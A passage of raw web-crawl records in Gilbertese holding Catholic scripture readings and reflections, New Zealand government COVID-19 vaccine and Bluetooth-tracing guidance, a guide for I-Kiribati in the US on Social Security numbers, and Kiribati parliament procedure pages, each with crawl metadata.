onimaki ni karokoa ae I a manga kaina te botaki ae te kareitimatiki. Ngai bon kaain naba te kainaomataki nte Tabati ae nako 26th Tebetemba 2010. Ko raba tinau Nei Maria ma Natim ae Iesu Kristo.\nKatarake Tabera, St Faustina, Betio Parish","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/kccrs.org.ki\/ana-tangira-te-uea\/45-e-aki-toma-irou-te-kamaninga-are-i-miiama-e-kaotia-nei-maria-nakoiu","date":"2021-01-28T10:12:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610704839214.97\/warc\/CC-MAIN-20210128071759-20210128101759-00788.warc.gz","language":"gil","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000094175338745}","num_words":231,"character_repetition_ratio":0.033,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.385,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Kowiti19 (Covid19)\nSeptember 6, 2020\nMauri ngkami n auan te bong aei te Kaonobong 09\/05\/2020. Bon au kan tibwatibwa ma ngkami teutana ibukin te kauring ao riki te taratara raoi n aaro ni katantan man te aoraki ae te Covid19. N au wareware nte beeba ni kaongora ae arana te Honolulu Civil Beat are e otinako n August 24, 2020 ao e taekinaki bwa kain Tebetebeke ea bon rang rietata aia mwaiti n aomata ake a motirawa man te maui aei ibukin te aoraki ae te covid19 ni kabotauaki ma reeti ake tabeua. Kain Tebetebeke ake a kananonaaki ikai bon ikotaia kain, Polynesia, Micronesia ao Melanesia. Irarikin aei ao nte rongorongo mai Arkansas news n aia beeba are e aranaki bwa te Northwest Arkansas Democrat-Gazette ao e taekinaki naba bwa ma ibuakon 19 taabo n tutuo nte covid19 i Arkansas ao 797 kain Matiare ke I-Kiribati Matiare ake a tuoaki ao man otinako mwiina bwa 31% maibuakoia a reke te covid19 irouia. N warekakin rongorongo aikai ao arang boboto aia bukibuki iaonn uoua bwaai:\n- Aron maekara ke bobotakira ao ara mwamwairiri nte mwaiti n aomata ae bubura.\n- Aia raraoma bwa tao eang, e uarereke ara atatai ibukin te aoraki aei kioina bwa rongorongo ma kaongora iaona a bane ni koreaki nte taetae ni imatang. Are nanona bwa tao tina karaoa te rai taeka iaon tuua ma rongorongo ake atia ni katauraoaki ibukin aanga n totokoan te covid19.\nBon ti te kan reitaki ni kauringiira riki kakawakin ataakin bonganan kawakinan te mauri ao tuua ake tina riai ni irii nanoia ibukin totokoan reken te aoraki ae te covid19. Riki imarenara n ara reeti n Tebetebeke, I-Matiare ao I-Kiribati Matiare bwa ti aonga n teimatoa marurungira ao marurungiia ara ataei. Ao irarikin anne ao e rang kakawaki bwa tina oota bwa tera te aoraki aei, e kanga aron ewena ao tera arora niiri tuua ibukin totokoana.\nNgaia are tia kabongana naba ara itera ni bae aio (page) bwa te tabo ni maroro ngkana iai am kan ota ibukin tuua ake tina riai ni irii nanoia ibukin totokoan te aoraki ae te covid19 ke bon titiraki ibukin kamataata. Reitaki mai, bwa tiaonga ni kona n tibwai otara ke kakaaei nako kaekaan ami titiraki ake kam kan ota iai.","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/te-maeka-i-amerika.com\/te-covid19\/","date":"2021-01-17T05:34:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703509973.34\/warc\/CC-MAIN-20210117051021-20210117081021-00402.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":368,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.296,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tiotio Tikuriti Nambwa \/ Social Security Number\nTe moan bwai ae rang kakawaki bwa kona karekea iroum ni moan rokom i Amerika bwa te social security number ke am nambwa bwa kinakim ke kariaiakakim man te tautaeka ibukin bwaai aika a mwaiti. Te baire ni boong aikaia ao ko aki kona ni uekera ke ni karekea te nambwa aio nuua e koro tebwiin am bong imwiin rokom i Amerika. Tebwiina te bong e kainanoia te Imikureition Aobiti bwa ena barongai, rawei mwiin ao ni karin mwiin beeba n roko nakon te kombiuta bwa aonga ni kona n noraki man aobitin nako Tiotio Tikuriti ni bane iaon Amerika.\nBeeba ke booma ake kona riai ni uoti bwa ana kainanoaki ibukin am kareke nambwa aio ana bon riai ni bane n oritino ke tiaki katoto. Ibukina bwa i taetae ibukira ngaira aika I-Kiribati -Matiare ke I-Kiribati ake a maeka i Amerika bwa kain Matiare ao nna kauring bwa aikai beeba ake tina riai n tauraoi ma ngaai ngkana ti nakon ni kareke Tiotio Tikuriti nambwa:\n- Beeba ni bung\n- Am Bwaatibooti ni Matiare\n- Am I-94 – Te beeba aei ena tangira burintakina ke ena kaotinakoaki man te kombiuta. Aio te beeba\n- Te booma ni kareke nambwa ke te abirikeition booma – Aio te booma ni kareke nambwa ae kona kanoaia nte aobiti. Te booma aei are kona korea iai aram, am tabo are ko mena iai iaon Amerika, am tareboon nambwa ao a bati riki.\nNna kaanaanau riki teutana ibukin te I-94. Tao kona taku bwa tera te I-94. Te I-94 bon beeban rokom iaon Amerika are e tauaki iai mwiin rinim ao otinakom man te aba ibukira ngaira ake ti aranaki bwa ti irua nakon te aba ke tiaki kain te aba ma ti kariaiakaki n tiku ni maeka ao ni mwakuri iaon te aba n akea tangirakin te beeba ni kamwakuri ke ni kamaeka. Kariaia aikai a karaoaki ni kakoroan bukin te babaire are ea tia ni motikaki nte nga ruabubua wanibwi tabun imarenan te tautaeka n Amerika ao te tautaeka ni Matiare. Aran te boraraoi aei te COFA – Compact of Free Association. Bon iai riki kain te babaire aei ma Amerika bwa aaba aika Palau, Federated State of Micronesia (FSM) ao Matiare.\nEtau ma nna okira taekan te Tiotio Tikuriti nambwa ma kakawakina. Eaera bwa e kakawaki bwa ena iai te nambwa aei iroura, tera ae karekea nakoira ao bukin tera bwa tina rang kawakinna raoi.\nN aron are i taekinna ieta, te nambwa aei kanga kinakim ke kariaiakakim ke kanikinaeakim ni kona ni karaoi bwaai nako n aron te kareke mwakuri, te kareke beeba n aekaia nako, te kauki akaunti ni bangke ke ni bitiniti, te reirei ao a bon bati riki. Ai aron ae te nambwa aei e nim ma aram, am bangke akounti, reireim am beeba nako ake a tia n reke iroum ao ai bon rongorongom ni bane. Ngaia are e rang kakawaki bwa kona kawakina te nambwa aei, akea ae riai n ataia bwa ti ngkoe, ko aki riai ni koreia iaon beeba n aki akaka nuua ae bon kainanoaki, ko aki riai ni kaokaotia nakon te koraki ao ko aki riai naba ni katoka n taabo are ena noria iai te boota. Tia aranna bwa am nambwa ae tabu ke aram ni karaba. N akean te nambwa aio ao ena bon rang kanganga aron am waaki ao n tabetai ena bon akea naba te bwai ae ko kona ni karaoi n rinanon te tua.\nAo aikai bwaai tabeua aika aki kona n reke iroum n akea am Tiotio Tikuriti nambwa:\n- Te mwakuri – ko aki kona ni mwakuri n akea am namba aei\n- Te Insurance ibukin marurung – e kainanoaki te nanbwa aei imwain ae ko karekea am insurance ibukin marururg.\n- Am beeba ni kabuti kaa – Ko aki kona ni kareke beeba ni kabuti kaa ke rebwerebwe n akea te nambwa aei.\n- Am Bangke Akounti\n- Te reirei","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/te-maeka-i-amerika.com\/am-number-man-te-tautaeka-social-security-numbe\/","date":"2021-01-17T05:23:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703509973.34\/warc\/CC-MAIN-20210117051021-20210117081021-00288.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":648,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.318,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te iti ae tan ma n omwaka e rang kakawaki ibukin kamanoaia kain Nutiran ma aban te Betebeke aika irarikira ma n te COVID-19. E rang kakawaki naba te iti aio ibukin manga karikirakean kaubwain abara ao kaukan te matabaiawa.\nTe iti ibukin te COVID-19 e na bon aki kaboaki ke akea boona ngkana ko na itinaki. E aki naba kairoroaki te botanaomata i aon Nutiran bwa a na kabongana.\nTe iti ibukn te COVID-19 e na kamanoko ma n te virus ibukin taai aika a na roko. Ti riai n teimatoa n te tai aei ni karaoi tabera n totokoa te COVID-19 ma n ara community i nanon 2021. Ti riai n iri nanon ara kibunikora ake aua; te teboki bai, scanning QR codes, kamaeuan te Bluetooth ao te tiku n te auti ngkana iai namakinan te aoraki.\nNgkai ti a manga roko n te karinan ae boou i aon ara buaka ni kaitara COVID-19, e a rang kakawaki riki ngkai karekean rongorongo aika eti raoi. Kairuan rongorongo a kaitarai ara waaki ngkana ti kainanoa te mwakuri ni kabane n totokoa te virus aio. E kona n reke rongorongona aika eti raoi ma n taabo aikai; am Taokita, te Healthline, am District Health Board, Botaki ni Kuakua n te Tautaeka ao ana website te Unite Against Covid-19 www.covid19.govt.nz\nTararuan raoi ana iti New Zealand ibukin COVID-19\nE a tia te Tautaeka ni kataua mwaitin ana iti ibukin abana ao ni buokia naba aban te Betebete aika i rarikina. Iai aua tein ana boraraoi i aon ana bobwai (Advanced Purchase Agreement) ibukin itin te COVID-19. Boraraoi aikai a kaineti ma nakoraoin katabwaninan taian kakatai i aona ao kabwatana iroun Medsafe.\nMedsafe bon ana rabwata ae inaomata Nutiran i aon kabutan te mwakuri ni kuakua. Tabena bwa e na rinanoni ao n anga kariaia ibukin bwainaoraki aika boou n ikotaki ma taian iti ibukin totokoan taian aoraki. Taian iti aikai a na riai n ira nanon taian kaetieti n te aonaba ao i nanoa ibukin raoiroia, manoia ao mwakuria imwain ae a kariaiakaki ao ni kabonganaki i aon Nutiran.\nE a manga moan bita aron tein ana mwakuri Medsafe ao e a karimoa ngkai rinanoan te iti ibukin te COVID-19 irarikin taian bwainaoraki ake tabeua, e aonga n ae e a moantai riki n reke te iti nakoira. E na bon teimatoa n rinanon te tua ae matoatoa i aon tuoakina raoi n aron ae a bane n rinanona bwainaoraki imwain kabonganakia.\nTeniua man taian iti ae uoua ana dose:\n- Pfizer ao BioNTech – 1.5 te mirion ana dose te iti (e tau ibukin 750,000 te aomata).\n- Oxford and AstraZeneca – 7.6 te mirion ana dose te iti (e tau ibukin 3.8 te mirion te aomata).\n- Novavax – 10.72 te mirion ana dose te iti (e tau ibukin 5.36 te mirion te aomata).\nTeuana te iti ae ti teuana ana dose: Janssen Pharmaceutica – e nakon ae 5 te mirion te iti ibukin te COVID-19.\nTe babaire i aon te iti ibukin te COVID-19\nE tabe ni karaoa ngkai ana babaire te Botaki ni Kuakua n te Tautaeka bwa e na riai n tibwaki raoi te iti. Koraki ake a katautauaki bwa a kakai ewekaki n te COVID-19 n aroia taan mwakuri n te matabaiawa, taan mwakuri n te tabo ni kuakua, kain Māori, aomatan te Betebeke, Aomata aika kara ma Aomata aika mwauku a riai moa ni moanibwaiakaki.\nTenan moan aomata n itinaki bon taan mwakuri n te matabaiawa ao koraki ake a tararuaia taan kaokoroaki ma ni kamarurungaki – Managed Isolation ao Quarantine (MIQ) ibukin tabeia n totokoa rinnakon te COVID-19 i Nutiran. N ikotaki naba ma MIQ aika taan kaitiaki, neeti ake a karaoi mwakuri n tutuo n te MIQ, taan mwakuri n te security, kain te Custom ao aobitia n te matabaiawa, taan mwakuri n te wanikiba ma outero irarikia riki aika mwaiti. Aomata aika maeka ma nakai, ngaiia naba aika a na moan ira te itinaki.\nE a tia Medsafe ni kariaia kabonganan te iti ae Pfizer\/BioNTech i an kairiri aikai:\n- E kariaiakaki te iti bwa e na kabonganaki irouia aomata aika 16 aia ririki ni waerake.\n- Itinakia aomata aika bwaka i an 16 aia ririki ni maiu e na kariaiakaki ngkana iai riki clinical data aika tauraoi ibukia.\n- A kaungaki aine aika bikoukou bwa a na maroroakin ma aia taokita taian kanganga ma tamaroan te iti ibukia.\n- E raoiroi te iti nakoia aine aika kammamma.\n- Aoraki aika rinanon tabeua itera ni kuakua n aron Keytruda, Opdivo, Yervoy and Tecentriq a riai moa n reitaki ma aia taokita ni kaotaia raoi i mwain ae a na anganaki te iti ibukin te COVID-19 ae te Pfizer mRNA.\n- Aomata aika itinaki a na anganaki rongorongo tabeua i aon baika kona n riki imwin te iti n aron te kabuebue, te maraki ni mwatireti, ao te nimarakiraki.\n- E kainanoaki 30 te miniti bwa ko na taraki iai imwin ae ko anganaki te iti.\nTera ae e na riki imwin te iti nakon ara matabaiawa?\nE rang ni moantaai ngkai ni kona n ataki bwa tera ae e na riki n te aonaba ao i aon Nutiran imwin kabonganan te iti ngkana e na iai te bitaki nakon tararuakin ara matabaiawa.\nAe a bon tabe naba ngkai taan kakae ni kamatoa ngkana arona bwa te aomata ae itinaki e bon teimatoa naba n iai irouna te COVID-19 ao ni kona ni kaewea nakon temanna. Ni karokoa te tai are e reke ma n tabwanin raoi te kakae i aon aei, e riai n teimatoa aron tararuan ara matabaiawa n aron ae ngkai.\nAra kawai iaon te COVID-19 vaccine\nIai ana babaire ae rababa te Tautaeka n rinnakoi taian COVID-19 vaccines aika raoiroi man omwaka ibukia kain Nutiran.\nTi na taraia bwa ara kawai ti na kona n tauraoi nakon te bitaki ao nanora ae ti tangiria n te aro are ti kona ni kawakini vaccines aika tau man riai ibukin Nutiran ao ni buokia kain te Betebeke aika ti uakan ma ngaiia.\nTi a tia ni karaoa te rikirake ao te bitaki.\nTi a tia naba n:\n- toma ma te global COVAX Facility\n- karaoi boraraoi iaon aanga ni bobwai ma taan kambwana ni karao bwainaoraki\n- karikirakea te konabwai n ara tabo ni karaobwai (manufacturing capability)\n- boutoka te Vaccine Alliance Aotearoa New Zealand ni kabobonga te national development ao screening programme ibukin te COVID-19 vaccine aika kantaningaki.\nLast updated:","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/covid19.govt.nz\/updates-and-resources\/translations\/kiribati\/covid-19-vaccines\/","date":"2021-03-04T15:31:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178369420.71\/warc\/CC-MAIN-20210304143817-20210304173817-00604.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1052,"character_repetition_ratio":0.065,"word_repetition_ratio":0.009,"special_characters_ratio":0.222,"stopwords_ratio":0.395,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Wiki 3 Kaabong\nWarekan te Reta nakoia Ebera.10: 19-25\nTi kona n rin, n aki maku, i nanon te Tabo ae Tabu, i bukin rarani Iesu, ba iai te kawai ae E a tia ni kaukia i bukira, ba te kawai ae bou ae maiu ae kauka te roki (ba te roki ae rabatana). Ao iai ara mataniwi ni berebitero ae tei n uman te Atua. Ma ngaia ae ti na rin ma te nano ae koaua ao te onimaki ae kororaoi, ma nanora aika kaitiakaki mani barekan te buakaka nako, ao rabatara aika tebokaki n te ran ae itiaki. Ti na kawakina matoan te kantaninga ae ti kaotia, ba E kakaonimaki Teuare atonga te motintaeka. Ti na ibuobuoki ma ni kaungaira i boni iroura, i nanon te tangira ma makuri aika raraoi. Tai kaki am tai ni bobotaki, n ai aroia tabeman i buakomi, ma kam na anai nanomi i marenami. E riai riki aromi anne ngkai kam noria ba e a kan te bong arei.\nTe Taramo 23: 1-6\nKaekana: Aikai, te Uea, akana ukera matam.\nAna bai te Uea aonaba ma kanoana, aon te aba ma kaina nako.\nE katoroa i aoni marawa, E kateimatoa i aoni karanga. K\nAntai ae na ararakea ana maunga te Uea? Antai ae na tei n ana tabo ae tabu?\nAne a itiaki baina, ae e raoiroi nanona, Ane aki ri ni baika akea maneia. K\nE na kakabaiaki iroun te Uea, e na anganaki ae riai iroun te Atua\nae ana tia kamaiu. Bon anne aroia akana ukeria, Akana ukera matan Atuani Iakoba. K\nAlleluia, alleluia.\nBon te taura ae na kaota rangau am taeka ao te ota ae na kaira kawaiu Alleluia.\nEuangkerio\nWarekan ana Euangkerio Mareko. 4: 21-25\nE kangai Iesu nakoia nakoia ana reirei:\"Tao e uotaki te taura ba e na karabaki i an te taabu ke i an te kainiwene? Tiaki e na katokaki i aoni nnena? Ba akea te bai ae karabaki ae na aki kaotaki, ao akea te bai ae raba ae na aki ataki. Ane iai taningana n ongo, ao ke e ongo!\" E taku naba nakoia: \"Iangoa raoi ane kam ongo. Te baire ae kam babaire iai nakoia aomata, ao e na babaireaki naba iai nakoimi, ao e na karabaki riki ami bai. Ba ane iai ana bai ao e na anganaki; ane akea ana bai, ao e na anaki ana bai mairouna.\"\nTibatiba Aikai, te Uea, akana ukera matam\nTariu ao maneu bon aikai taeka aika a na taekinaki ibukira ngkana arona ba ti a tauraoi n rinnako te Tabo ae Tabu are boni Karawa. Ba bon aio kaniwangan ara kekeiaki aika tamaroa iaon te aba aio ba ti na kona n nora matan te Atua n te Abanuea ae Karawa. Eng, bon aio te bai ae ti kainanoia ba e aongan reke iroura koraoin te kukurei inanon te mimitong i Karawa. Bon aio kabarabran te kimarerei are ti bane n ingainga ni kan roko iai ba ti aonga n katonga kororaoin te kukurei are e a tia ni katauraoia Iesu ibukira ba te kona n nora matan te Atua ao n neneboia ni kabenei bongin maiura.\nTariu ao maneu ao bon iai riki reitan te kabarabarara are na taekina ibukira ba taekan kunikaira aika ti na bainii n te tai anne are bon ara kamarai aika mainaina man takaebuebu itiakia. Eng e na kangai te taeka ;\"Bon aikai te koraki aika a tia ni kaitiakaki kunikaia n Raran Iesu, te Tibu Te Tei ae moan te Tabu. Ae kamaunai buren aonnaba. Bon raran Iesu ae ti na tebokaki iai ba ti aonga ni kaitiaki man ara bure ao n riki ba nati ngaira aika tan baibai iroun te Tama ma Natina ae Iesu. Ti na karekea te kaniwanga ae te Maiu ae akea tokina i Karawa ngkana ti a tia ni maiu ni kekeiaki ni kakaraoa ae raoiroi ao n irira Iesu ao ni uouota ara kaibangaki ni katoa bong. Ti na bon aki maku n rin te tabo ae moan te tabu ibukina ba E a tia ni mate ibukira Iesu iaon te kaibanga ao ti a tia n teimatoa ni kakaraoa nanon Iesu inanon maiura iaon te aba.","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1590-aikai-te-uea-akana-ukera-matam","date":"2021-03-05T07:36:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178370239.72\/warc\/CC-MAIN-20210305060756-20210305090756-00636.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":694,"character_repetition_ratio":0.039,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.408,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E a tia ni manga karababa riki ana mwakuri (updated) te NZ COVID Tracer app ni karina te Bluetooth tracing. Te Bluetooth tracing e na kona ni kaotia nakoim ngkana ko a tia ni kaan ma temanna te aomata ae iai naba ana Bluetooth ao e reke irouna te COVID-19.\nTe Bluetooth tracing e aki karikaki bwa e na onea mwin bwaai n tracing aika a kabonganaki ngkai ke te NZ COVID Tracer QR codes. Ko na bon riai n teimatoa n scan QR codes n taua mwin mwamwanangam. Te Bluetooth tracing bon te bwai ae manga tibwa karinaki – e buokira n taua mwia aomata aika a tia ni mena irarikira ke ni kaan ma ngaira.\nE na kanga ni mwakuri\nN te tai are ko kamaeua iai te Bluetooth tracing, e a mwakuri naba ni kanakoa te ID code ae raba mani mano n taai n aki akaka. Bon titebo ma am tareboon are e anganganako naba taian high-fives nakon tareboon ake a kaan ma ngkoe. Te Bluetooth tracing e mwakuri n rawea kaanim ma taian tareboon irarikim ao maanim. Tareboon ake ko kaan ma ngaai a na riai naba n iai aia Bluetooth tracing ao ni maiu naba (turned on).\nAre nanona bwa ngkana iai ae reke irouna te COVID-19, a kona ni kanakoi aia rongorongo aika raba nakon IDs ake a tia n reke 14 te bong n nako n aia tareboon. Ngkana am tareboon e kinai taian IDs aikai, ao ko a tia n rangi ni kaan ao ni maan n te aro are kanga ko na kona n ewekaki, e na roko iroum te rongorongo (alert). Te rongorongo aio e na tuangko bwa tera ae ko na karaoia ibukin kamanoam ma am utu.\nKo na kanga ni kamaiua\nAngia tareboon a bon update aia app n tainako. Ko bon kona naba n karaoa am update i bon iroum n am app store ke play store.\nNgkana ko tia ni karaoa te update, am app e na titirakiniko ngkana ko kan kamaiua (turn on) te Bluetooth tracing. Ngkana ko a tia ni kamaiua, e na mwakuri e ngae ngkana am app e in.\nTe Bluetooth tracing e aki kabongana te data n am tareboon, ao e aki naba kabongana am batere ibukina bwa e kabongana te Bluetooth Low Energy (e aki kang batere).\nA mano arom nako (Your privacy is protected)\nNgkana ko kamaiua te Bluetooth tracing, a bane ni mano arom nako – e aki kona ni kaota te tabo ae ko mena iai, aram ke rongorongo ibukim. Te Bluetooth tracing e aki naba taua mwia aomata aika ko kaitibo ma ngaiia ke taabo aika ko nako iai.\nAre nanona bwa ngkana e roko iroum te rongorongo ibukina bwa ko a tia n reitaki ke ni kaan ma temanna ae reke irouna te COVID-19, akea riki bwa bon ti ngkoe ae ko ataia. Tauan mwin te mwamwananga ake a bane n reke iroum man te app a bon bane n kawakinaki raoi inanon am tareboon, ao e bon nakoim baika ko kan tibwai ma iai.","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/covid19.govt.nz\/updates-and-resources\/translations\/kiribati\/turn-on-bluetooth-tracing\/","date":"2021-03-04T16:20:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178369420.71\/warc\/CC-MAIN-20210304143817-20210304173817-00210.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":508,"character_repetition_ratio":0.101,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.364,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N ana moan bong ni boowi te Maneaba ae e boou imwiin te rinerine ae taabangaki iaon Kiribati ibukiia Taan Tei man abamwakoron Kiribati ao te Tia Babaire ke te Tibiika bon ngaia ae e na kotea te bong are e na waaki iai ana moan bowi te Maneaba ni Maungatabu ibukin katueaaia Taan Tei.\nAo ngkana a botaki inanon te Maneaba ni Maungatabu Taan Tei n te tai are e koteaki ao:\nE na warekaki te tataro iroun te Kiraaka ao ana warekaki naba ana bebwa te Tia Babaire ke te Tiibika ibukin teweakin ana bowi te Maneaba ni Maungatabu.\nImwiin warekan te tataro ao warekan ana beebwa te Tibiika, ao Te Kiraaka e na kawenea imatan te Maneaba ni Maungatabu araia Taan Tei ake a tia n rineaki man aia abamwakoro n aron are e karokoa te Mataniwi ibukin kairan te rinerine.\nImwin warekan araia Taan Tei aika a boou ao te Tia Moti ae Rietata e nang kaira katueaia Taan Tei aika boou. Aio aia berita Taan Tei ae ana taekina.\n\"Ngai ae …………. I berita imatan te Atua ae moan te mwaaka bwa Nna kakaonimaki mani kaota au tangira ae e koaua nakon abara ae Kiribati ae e inaomata ao e bura ieta, ao Nna karaoi naba au mwakuri ae te Tia Tei ngai nakon ana Maneaba ni Maungatabu Kiribati iaan te eti ao te kakaonimaki.\"\nImwiin katueaia Taan Tei aika boou ao te Tia Moti ae Rietata e nang kaira rineakin te Tia Babaire ke te Tibiika. Te Tia Moti ae e Rietata, e na butimwaai ara ibukin te nakoa n Tia Babaire imwin karaoan aia Berita n anganano Taan Tei.\nTe Tia kan rineaki nakon te nakoa n Tia Babaire bon te aomata ae tiaki te Tia Tei ao e na uotaki arana mai iroun temanna Te Tia Tei.","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/www.parliament.gov.ki\/waakin-ana-bowi-te-maneaba-ae-boou","date":"2021-03-02T14:22:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178364008.55\/warc\/CC-MAIN-20210302125936-20210302155936-00052.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":304,"character_repetition_ratio":0.105,"word_repetition_ratio":0.007,"special_characters_ratio":0.208,"stopwords_ratio":0.378,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Order Paper bon te beeba ae kabonganaaki ibukin barongaan kanoan ana bowi te Maneaba ni Maungatabu inanon te bong teuana ma teuana.\nE kabonganaaki te Order Paper bwa e aonga n waaki raoi kanoan ana bowi te Maneaba ni Maungatabu n aki mangaongao.\nTe Order Paper e na bon kabebetea aron wakin ana bowi te Maneaba ni Maungatabu n kaotia bwa e na moa man tera kanoan te bowi ao n rimwaiaki n tera ao ai arona naba ni karokoa e bane te kanoa n te bong teuana ma teuana.\nNgkana akea te Order Paper ao e na bon aki barongaaki ana bowi te Maneaba ni Maungatabu. Te Order Paper kanga ai aron te Akenta are e kakatauraoaki ibukin kairan te bowi.\nA aki kona n maroroakinaki iango riki tabeua irarikin ake a kaotaki iaon te Order Paper ma ti man ana kaetieti te Tibiika.\nKanoan te Order Paper a bon barongaaki naba ni kaineti ma Tuan kairan bowin te Maneaba ni Maungatabu.\n- Te Tataro (are e koreaki n te Tua 16)\n- Te Berita n Anganano\n- Katanoata mai iroun te Tia Babaire\n- Rainanoanga ao maroro aika kakawaki\n- Kaoriori\n- Ana Kanoa te Tautaeka\n- Beba\n- Kaongora\n- Titiraki\n- Biira ao Kaoti\n- Te Maroro","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/www.parliament.gov.ki\/te-order-paper","date":"2021-03-02T14:17:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178364008.55\/warc\/CC-MAIN-20210302125936-20210302155936-00156.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":200,"character_repetition_ratio":0.139,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.405,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Wiki 3 Katenibong\nWarekan te Reta nakoia Ebera..10: 11-18\nE katoa bong n tei berebitero ni karaoa nakoaia ao a okioki n anga karea aika ti te arona, aika bon aki kona ni kamaunai bure. Ma E anga te karea ae ti teuana Kristo i bukini bure, ao E a tekateka n aki toki i angatain te Atua. Ao ngkanne E kantaninga te tai ae a na kaweneaki iai ana kairiribai ba nangoani waena. Ba ti teuana ana karea, ao E karaoiroia iai akana E katabuia. E kakoaua anne te Tamnei ae Raoiroi, ba E kangai moa: Aei te berita ae N na karaoia ma ngaia i muini bong akanne; ao E manga kangai te Uea: N na Karin au tua irouia, ao N na kori i nanoia. N na aki manga uring aia bure ma buakakaia. Ma ngkana a kabaraki bure, ao akea riki te karea i bukini bure.\nTe Taramo 109: 1-4\nKaekana: Te berebitero Ngkoe n aki toki n ai aroni Merekitereka.\nE kangai te Uea nakon au Uea: \"Tekateka i angataiu:\nN na kaweneia aiam i ani waem.\". K\nE na kabuta makan am tautaeka, Te Uea mai Tion;\nKo na uea i aoia aiam. K\nTe natinuea Ngkoe mangke te tei, I aon te maunga ae tabu;\nI karikiko i main te karangaina. K\nE na aki bitaki ana taeka n tuea te Uea: \"Te berebitero Ngkoe n aki toki\nn ai aron nakoani Merekitereka.\" K\nAlleluia, alleluia.\nA koaua ana taeka te Uea, a raraoi ana makuri. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Mareko.4: 1-20\nE reirei Iesu i rarikin te nama, ao a rangi ni maiti aomata ake a botaki i rarikina, ai ngaia ae E toka n te boti i aon te nama, ao E tekateka iai, ao a mena i eta te koraki i rarikin te nama. E reireinia baika maiti n taetae ni kaikonaki, ao E kangai nakoia n ana tai n reirei: \"Ongora! E otinako te tia ununiki ba e na ununiki. Ngke e tabe ni kamaea ana koraa, ao a baka tabeua i rarikin te kawai, ao a roko mannikiba ni kabanei ni kang. A baka tabeua i buakon atibu ike e karako iai te tano, ao a waetata n riki ba e mani te tano, ma ngke e a oti taak, ao a bue ao a rai. A baka tabeua riki i buakon aroka aika kateketeke, ao a karibaki iai ao a aki kariki ua. A baka tabeua n te tano ae raoiroi, ao a kariki ua ngke a rikirake ma n ababaki, ba tekaina tenibui, tekaina onobui ao tekaina tebubua.\" Ao E kangai naba: \"Ke e ongo ane iai taningana ongo.\" Ngke ti Ngaia ma aomata ake raona ao uake tengauni ma uoman, ao titirakinna nanonn taetae ni kaikonaki. Ao E kangai nakoia: \"Ngkami, kam anganaki atakini miterion Uean te Atua: ma akana mena i tinaniku, a anganaki bai ni kabane n taetae ni kaikonaki, ba a na taratara n aki noraba, ma n ongora n aki ota iai, ba e kawa n rairi nanoia ma ni kabaraki aia bure.\" E kangai nakoia: \"Kam aki ongo nanon te taetae ni kaikonaki anne? Ao kam na kanga n atai nanon taetae ni kaikonaki ni kabane? Te tia ununiki, e unika te Taeka. 